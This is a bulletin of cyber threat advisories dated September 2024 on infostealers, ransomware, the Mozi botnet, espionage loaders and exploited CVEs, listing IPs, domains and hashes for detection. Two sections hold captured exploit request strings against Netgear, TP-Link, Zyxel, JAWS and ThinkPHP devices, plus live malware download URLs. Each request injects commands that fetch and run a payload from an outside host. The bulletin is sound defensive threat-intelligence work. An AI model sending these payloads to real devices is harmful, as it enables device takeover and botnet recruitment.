**Cyber Security Advisories**

**Date: 16 September 2024**

1. **TA-MAW-2024-08-30-28**

It has been observed that Fabookie infostealer is designed to steal login credentials and other sensitive information. It is primarily distributed through phishing campaigns, malicious email attachments and compromised websites. It uses SmokeLoader to infiltrate systems, making detection challenging. It operates by injecting itself into the victim's system and monitoring activities to capture sensitive data. It employs various techniques to avoid detection by antivirus software, including the use of encrypted communications channels and obfuscation methods. Once the data is collected, it is transmitted to the attacker's commands and control (C&C) server, where it can be accessed and exploited for further malicious activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

carrieremaken.com

ww.hackacademy.me

nordskills.eu

apps.ecrubox.com

clicktotrust.com

astoriaresidency.com

as.imgjeoigaa.com

server10.cdneurops.shop

paraslegal.com

erpibex.com

IPs:

213.6.54.58

201.119.15.212

187.140.86.116

109.73.242.14

187.134.87.130

5.42.78.22

95.154.196.56

181.230.206.248

189.143.158.99

179.43.155.195

190.219.153.101

183.100.39.157

79.137.205.112

193.106.175.148

201.124.98.97

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-30-029**

It has been observed that a new PostgreSQL malware known as PG\_MEM, brute forces into PostgreSQL databases. It delivers payloads to hide its operations. Brute force attacks on Postgres involve repeatedly attempting to guess the database credentials until access is gained, exploiting weak passwords. Once accessed, attackers can leverage the COPY- FROM program SQL command to execute arbitrary shell commands on the host, allowing them to perform malicious activities such as data theft or deploying malware. Successful brute force attack on a PostgreSQL database leads to the exploitation of a feature that allows command execution. Threat actor creates a superuser role in the database and drops two files to disk. These files are used to eliminate competition, evade detection, gain persistence and ultimately deploy cryptocurrency miners.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

f705c3bc4e98585357c03feac623356c

aacf2146cac9946592f069ef6d94635b

3f3eae22dd67e741e87a18a2383900a5

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-09-02-001**

It has been observed that Ransom Hub Ransomware Group has targeted various sectors including healthcare, government, finance, and education. The group operates using a dual-extortion model like other ransomware groups e.g.; encrypting the system's files and exfiltrating the data to hold it for ransom. Attackers have gained initial access by exploiting the Zero logon vulnerability (CVE-2020-1472).

Adversaries have used several dual-use tools to facilitate remote access, discover and retrieve information before deploying ransomware. Threat group has also introduced a new endpoint detection and response (EDR) disabling tool to evade detection during their attacks

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

342b7b89082431c1ba088315c5ee81e89a94e36663f2ab8cfc27e17f7853ca2b

56856e1e275cebcd477e3a2995cd76398cfbb6c210181a14939c6307a82e6763

60b477dab8494d3a049cf3b17118a4124b68f9f7d3dcc3c92026ac86b00aae1e

02e9f0fbb7f3acea4fcf155dc7813e15c1c8d1c77c3ae31252720a9fa7454292

34e479181419efd0c00266bef0210f267beaa92116e18f33854ca420f65e2087

7539bd88d9bb42d280673b573fc0f5783f32db559c564b95ae33d720d9034f5a

8f59b4f0f53031c555ef7b2738d3a94ed73568504e6c07aa1f3fa3f1fd786de7

ea9f0bd64a3ef44fe80ce1a25c387b562a6b87c4d202f24953c3d9204386cf00

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-03-001**

It has been observed that threat actors are using phishing sites, impersonating as a VPN provider. The site specifically targets individuals downloading Virtual Private Network (VPN) applications for Windows, Linux and macOS. Threat actor has created distinct binaries for each platform, Windows, Linux & macOS, targeting users across these systems. These malicious binaries are known as Cheana Stealer.

The stealer targets cryptocurrency related browser extensions, standalone crypto wallets, stored browser passwords, cookies and SSH Keys. Threat actors rely on phishing websites as a way to distribute malware. Adversaries create a false sense of legitimacy by showcasing compatibility with various platforms and mimicking trusted applications.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

70f08497d7a9e6a8e5f2dd3683a20563d20668e1c78df636ff1e36a014c9d493

acf807def82c4b56752a9fa9b081dbb37ba9cc9f6e1c522568ff502b6b49b6db

48964c11fcbefd6508164239866c94b55ca2798e9745671c37447ad0a6f3e1c4

d3ece8616d0dd8244666af574cc2475d947180ed240f49b1a6e61443a896f65d

3ef838502663c167f5c502585e810ffae3e03152b3f82544b813389c19a33dce

ac4aeab3952f6ca960cbd48c3123f09a68f50818f9bdf35c9d811570893fa102

6a68e95ae67aa8c61bd74ecf5f57f98fbdc0bbe0489ae71b7c8732edf49ac3a9

c044b1a36249f6fe7219e6c48270d9927bf359110ff3583129dcbdff809f2d2d

ba8058b704a55e50c24383a765fd74b38d7dbbf8546c4f179266c265403174b8

Domains:

warpvpn.net

ganache.live

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-04-002**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

27.43.205.219

120.86.253.51

42.235.42.100

115.55.229.61

120.85.114.32

202.170.201.130

42.179.149.60

202.170.201.226

182.117.69.151

117.210.178.150

152.246.168.70

117.216.31.129

202.170.201.222

182.60.7.168

117.254.100.11

175.107.3.47

60.23.170.88

60.6.211.248

182.124.191.115

117.248.30.165

42.178.25.230

45.230.66.138

42.233.208.177

42.228.45.60

59.85.166.118

112.94.98.207

27.43.207.22

59.89.179.86

27.157.133.16

178.72.70.199

117.248.30.239

159.65.147.193

191.252.191.46

103.245.236.188

182.60.12.207

185.224.128.59

120.86.253.218

117.208.253.158

120.85.113.106

120.85.117.188

103.197.112.147

120.86.255.247

117.195.137.39

49.67.172.47

108.62.3.22

142.91.43.12

115.49.77.219

175.107.2.249

178.225.129.251

115.59.5.204

117.221.255.250

37.120.150.83

120.85.117.248

117.235.123.3

27.215.110.234

154.216.18.237

103.14.226.142

176.97.210.238

222.184.211.184

87.121.112.42

45.66.231.148

81.12.30.24

117.248.171.128

45.230.66.143

68.183.225.172

117.253.12.228

45.230.66.142

173.54.161.45

117.198.12.126

117.198.13.164

83.168.78.67

122.96.31.206

117.211.233.249

176.59.15.58

42.225.52.17

31.172.87.248

141.98.7.182

102.51.45.241

7.108.82.75

60.19.248.207

117.208.254.50

221.164.190.33

120.56.15.110

89.249.246.115

122.194.9.154

45.230.66.134

85.192.62.196

117.217.95.90

103.203.72.8

124.131.133.151

59.93.224.201

185.224.128.84

117.206.70.93

41.0.48.112

202.170.201.204

117.219.164.225

59.91.163.230

103.203.72.170

102.33.6.106

154.216.17.171

117.253.48.84

URLs:-

http://117.248.30.239:54615/Mozi.m

http:///103.245.236.188/skyljne.mips

http://59.89.179.86:49266/Mozi.a

http://60.6.211.248:10162/Mozi.m

http://60.23.170.88:41491/Mozi.m

http://45.230.66.138:11738/Mozi.m

http://42.235.42.100:46901/Mozi.m

http://42.233.208.177:45127/Mozi.m

http://42.228.45.60:53091/Mozi.m

http://42.179.149.60:57019/Mozi.m

http://42.178.25.230:60780/Mozi.m

http://202.170.201.226:57878/Mozi.m

http://202.170.201.222:37173/Mozi.m

http://182.60.12.207:56538/Mozi.m

http://182.124.191.115:36986/Mozi.m

http://182.117.69.151:34757/Mozi.m

http://175.107.3.47:42417/Mozi.m

http://152.246.168.70:44128/Mozi.m

http://117.254.100.11:34662/Mozi.m

http://117.248.30.165:52375/Mozi.m

http://117.216.31.129:39508/Mozi.m

http://117.210.178.150:44731/Mozi.m

http://115.55.229.61:43475/Mozi.m

http://103.245.236.188/skyljne.mips

http://154.216.18.237:88/t

http://103.14.226.142/shk

http://176.97.210.238/shk

http://117.208.253.158:48209/Mozi.m

http://103.197.112.147:50362/Mozi.m

http://117.195.137.39:37174/Mozi.m

http://222.184.211.184:51066/Mozi.a

http://87.121.112.42/wget.sh

http://115.49.77.219:55414/Mozi.m

http://175.107.2.249:43394/Mozi.a

http://178.225.129.251:60343/Mozi.a

http://115.59.5.204:53171/Mozi.m

http://117.221.255.250:40488/Mozi.m

http://45.66.231.148/r

http://117.235.123.3:55652/Mozi.m

http://27.215.110.234:50549/Mozi.m

http://31.172.87.248/bns/x86

http://117.198.13.164:52058/Mozi.m

http://117.211.233.249:54083/Mozi.m

http://117.248.171.128:58849/Mozi.m+-O+/tmp/netgear

http://117.253.12.228:44523/Mozi.m+-O+/tmp/netgear

http://141.98.7.182/bins.sh+-O+/tmp/netgear

http://42.225.52.17:36751/Mozi.m+-O+/tmp/netgear

http://45.230.66.142:11478/Mozi.m+-O+/tmp/netgear

http://102.51.45.241:44649/Mozi.a

http://7.108.82.75:43623/Mozi.a

http://60.19.248.207:56954/Mozi.m

http://117.208.254.50:54889/Mozi.m

http://221.164.190.33:50084/Mozi.m

http://120.56.15.110:36568/Mozi.m

http://102.33.6.106:45438/Mozi.m

http://45.230.66.134:11641/Mozi.m

http://85.192.62.196:42484/Mozi.m

http://117.217.95.90:39378/Mozi.m

http://103.203.72.8:54546/Mozi.m

http://124.131.133.151:56673/Mozi.m

http://59.93.224.201:34500/Mozi.m

http://117.206.70.93:48317/Mozi.m

http://202.170.201.204:43977/Mozi.m

http://59.91.163.230:42462/Mozi.m

http://103.203.72.170:43389/Mozi.m

http://154.216.17.171

http://31.172.87.248/bns/x86

http://117.253.48.84:41460/Mozi.a

Signatures:

/shell?cd+/tmp;rm+-rf+\*;wget+http://59.89.179.86:49266/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://60.6.211.248:10162/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://60.23.170.88:41491/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://115.55.229.61:43475/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*mips\*;${IFS}wget${IFS}http://103.245.236.188/skyljne.mips;${IFS}chmod${IFS}777${IFS}skyljne.mips;${IFS}./skyljne.mips${IFS}zyxel.selfrep;

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.237%3A88%2Ft%7Csh%3B%60)

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp%3B+rm+-rf+shk%3B+wget+http://176.97.210.238/shk%3B+chmod+777+shk%3B+./shk+tplink%3B+rm+-rf+shk%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.208.253.158:48209/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.198.13.164:52058/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://102.51.45.241:44649/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://141.98.7.182/bins.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.253.12.228:44523/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://202.170.201.204:43977/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.91.163.230:42462/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://103.203.72.170:43389/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60)

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://31.172.87.248/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/shell?cd+/tmp;rm+-rf+\*;wget+http://117.253.48.84:41460/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-04-003**

It has been observed that sedexp, a stealthy Linux malware, utilizes udev rules technique to achieve persistence and evade detection. This technique allows the malware to execute every time a specific device event occurs, making it stealthy and difficult to detect. It provides reverse shell capabilities and advanced concealment tactics. The malware hides the rules utilizing memory manipulation techniques.

Udev is a device management system for the Linux kernel. It is responsible for managing device nodes in the /dev directory. It dynamically creates or removes device node files, handles hotplug events to configure new devices, and loads drivers. Udev rules are configuration files used by udev to match devices and execute actions in response to events such as adding or removing devices.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

43f72f4cdab8ed40b2f913be4a55b17e7fd8a7946a636adb4452f685c1ffea02

94ef35124a5ce923818d01b2d47b872abd5840c4f4f2178f50f918855e0e5ca2

b981948d51e344972d920722385f2370caf1e4fac0781d508bc1f088f477b648

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-04-001**

It has been observed that threat actors are actively exploiting public-facing application vulnerabilities to gain initial access to networks and deploy ransomware. They are affecting various products like Citrix Netscaler, F5 BIG-IP, Pulse Secure/Ivanti VPNs, PanOS Firewalls & Check Point Security Gateways.

Some of the targeted vulnerabilities include:

1) Citrix Netscaler:

CVE-2019-19781(CVSS- 9.8): A path traversal vulnerability allowing unauthenticated attackers to access arbitrary files on the server.

CVE-2023-3519(CVSS-8.8): A vulnerability in the Citrix Application Delivery Controller (ADC) and Citrix Gateway that could allow an unauthenticated attacker to execute arbitrary code.

Exploitation: Iranian actors have utilized these vulnerabilities to gain initial access to corporate environments, often leveraging compromised Citrix systems as a foothold for further attacks.

2) F5 BIG-IP:

CVE-2022-1388(CVSS-9.8): A critical vulnerability in the iControl REST API, which allows attackers to execute arbitrary commands with elevated privileges.

Exploitation: This vulnerability has been exploited to gain administrative access to affected systems, facilitating lateral movement and establishing persistence within networks.

3) Pulse Secure/Ivanti VPNs:

CVE-2024-21887( CVSS-9.1): A critical vulnerability in Pulse Secure VPN that allows unauthenticated attackers to execute commands and access sensitive data.

Exploitation: Attackers have used this vulnerability to bypass VPN protections, gaining unauthorized access to sensitive network segments and deploying ransomware.

4) PanOS Firewalls:

CVE-2024-3400(CVSS-10): A vulnerability in Palo Alto Networks' PanOS that allows attackers to execute arbitrary code with elevated privileges.

Exploitation: Exploited to bypass security controls and gain control over network firewalls, facilitating further attacks on internal systems.

5) Check Point Security Gateways:

CVE-2024-24919(CVSS-8.6): A vulnerability in Check Point’s security appliances that allows for unauthorized access and potential privilege escalation.

Exploitation: Used to compromise gateway appliances, which serve as entry points for ransomware deployment and network infiltration.

1. **TA-MAW-2024-09-04-004**

It has been observed that Malicious IPs are targeting Critical Sector Entities.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

134.209.15.39

95.142.121.53

8.219.144.193

207.46.13.168

137.184.54.92

13.64.199.167

143.244.148.128

147.45.199.83

209.135.164.59

64.226.73.103

89.252.190.72

45.58.184.150

47.250.189.133

142.93.208.171

47.236.11.101

47.245.115.46

64.23.180.131

85.90.246.159

64.227.106.124

142.93.221.38

170.64.136.192

13.64.195.64

142.202.189.82

212.113.102.70

47.236.238.158

152.32.149.19

109.120.156.102

154.213.185.141

170.64.137.226

170.64.162.206

185.254.98.118

185.165.191.26

85.239.63.78

45.87.43.241

46.101.205.100

134.195.196.51

134.195.196.51

134.195.196.51

134.195.196.51

68.183.168.8

172.81.62.92

5.42.75.68

45.58.184.198

68.183.225.172

15.184.34.129

102.211.152.140

185.142.236.35

185.241.151.148

185.133.248.48

109.199.99.3

81.19.137.146

209.85.128.198

198.7.125.25

79.137.68.32

146.70.142.23

52.189.75.199

47.245.115.46

15.184.38.81

85.239.63.78

13.64.108.206

164.90.188.155

152.32.245.93

47.245.103.43

109.199.99.3

172.81.62.60

185.165.191.26

13.64.211.25

147.45.199.83

79.137.68.32

165.227.226.135

176.97.113.22

185.133.248.48

185.224.128.52

15.184.34.216

45.88.109.148

109.199.99.3

47.236.11.101

109.120.156.102

170.187.142.75

164.92.161.119

15.184.39.126

51.8.220.45

134.209.208.37

147.45.73.106

128.199.148.66

147.182.162.162

104.207.131.197

20.189.123.215

152.32.229.185

159.65.226.110

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-05-005**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

42.7.214.251

141.255.160.234

93.177.72.12

38.205.128.131

120.85.185.136

103.230.14.30

142.91.38.109

175.107.0.159

27.111.75.231

198.135.50.97

45.230.66.159

27.43.207.71

117.254.60.80

117.208.213.59

222.142.239.135

122.51.64.230

120.85.184.34

77.239.217.238

115.76.211.215

222.137.191.58

122.96.31.206

27.37.118.100

23.111.254.23

42.227.237.167

61.3.140.173

45.202.35.36

103.14.226.142

45.66.232.148

176.97.210.238

87.121.112.42

154.216.17.171

193.84.71.195

102.51.45.241

URLs:-

http://42.7.214.251:48539/Mozi.m

http://175.107.0.159:32790/Mozi.m

http://27.111.75.231:41986/Mozi.m

http://117.254.60.80:57488/Mozi.m

http://117.208.213.59:34751/Mozi.m

http://222.142.239.135:33763/Mozi.m

http://222.137.191.58:48403/Mozi.m

http://27.37.118.100:48156/Mozi.m

http://42.227.237.167:52069/Mozi.m

http://61.3.140.173:41782/Mozi.m

http://45.202.35.36/

http://103.14.226.142/shk

http://45.66.232.148/

http://176.97.210.238/shk

http://87.121.112.42/wget.sh

http://154.216.17.171/

http://193.84.71.195/bins/x86

http://bins.rootwho.su/sshdbot

http://102.51.45.241:44649/Mozi.a

Signatures:

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://42.227.237.167:52069/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://61.3.140.173:41782/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+tplink%3B+wget+http%3A%2F%2F45.202.35.36%2Ftplink%3B+chmod+777+tplink%3B+.%2Ftplink%3B%60)

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.66.231.148%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E%60cd+/tmp%3B+rm+-rf+shk%3B+wget+http://176.97.210.238/shk%3B+chmod+777+shk%3B+./shk+tplink%3B+rm+-rf+shk%60)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-05-006**

It has been observed that ToneShell, a shellcode loader, loads and decodes the backdoor shellcode with a 32-byte key in memory for establishing long-term access to its target system, to evade detection. Adversary communicates securely with the Command & Control (C2) infrastructure and downloads additional payloads to infected systems. Mustang Panda, also known as Stately Taurus & Earth Preta, among other monikers, are using ToneShell in an ongoing cyber espionage campaign, specifically targeting government organizations.

Capabilities:

The ToneShell collects the following data from the victim's machine and sends them to the C2 server:

Memory size

Username

Computer name

Disk size

Operating system bit

Product name

Distribution Methods: Spear-Phishing

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP ADDRESS: PORTS

103.27.108.14

43.246.209.139

45.115.236.142

45.115.236.143

103.27.109.52

103.27.109.206

103.43.16.65

137.220.251.44

HASHES

1387ec22a3391647e25d2cb722cd89e255d3ebfe586cf5f699eae22c6e008c34

057fd248e0219dd31e1044afb7bc77c5f30a7315e136adfcca55ce1593d6cf5d

901d713d4d12afbcee5e33603459ebc638afd6b4e2b13c72480c90313b796a66

057fd248e0219dd31e1044afb7bc77c5f30a7315e136adfcca55ce1593d6cf5d

f8e130e5cbbc4fb85d1b41e1c5bb2d7a6d0511ff3b224eb3076a175e69909b0d

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-06-002**

**Vulnerability in OpenRapid RapidCMS**

A SQL injection vulnerability has been discovered in OpenRapid RapidCMS. The affected versions are OpenRapid RapidCMS up to 1.3.1.

CVE ID: CVE-2024-8331 (Critical)

**Vulnerability in vTiger CRM**

A reflected Cross Site Scripting (XSS) vulnerability has been discovered in vTiger CRM. The affected version is vTiger CRM 7.4.0.

CVE ID: CVE-2024-44779 (Critical)

**Vulnerability in Chartist**

A vulnerability has been discovered that allows Prototype Pollution via the extended function in Chartist. The affected versions are Chartist 1.x through 1.3.0.

CVE ID: CVE-2024-45435 (Critical)

**Vulnerability in Tenda**

A vulnerability has been discovered that allows arbitrary command execution via a crafted HTTP request in Tenda. The affected version is Tenda FH1206 v02.03.01.35.

CVE ID: CVE-2024-42978 (Critical)

**Vulnerability in Django**

A SQL injection vulnerability has been discovered in Django. The affected versions are Django 5.0 before 5.0.8 and 4.2 before 4.2.15.

CVE ID: CVE-2024-42005 (Critical)

1. **ATA-PHI-2024-09-06-01**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domain targeting Critical Sector Entities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

section-mail.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-06-007**

Presence of malicious IoCs are found in Indian Cyberspace related to various malwares i.e. KEYPLUG malware and Energetic Bear.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

213.109.147.178

139.180.188.174

207.148.71.45

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-13-02**

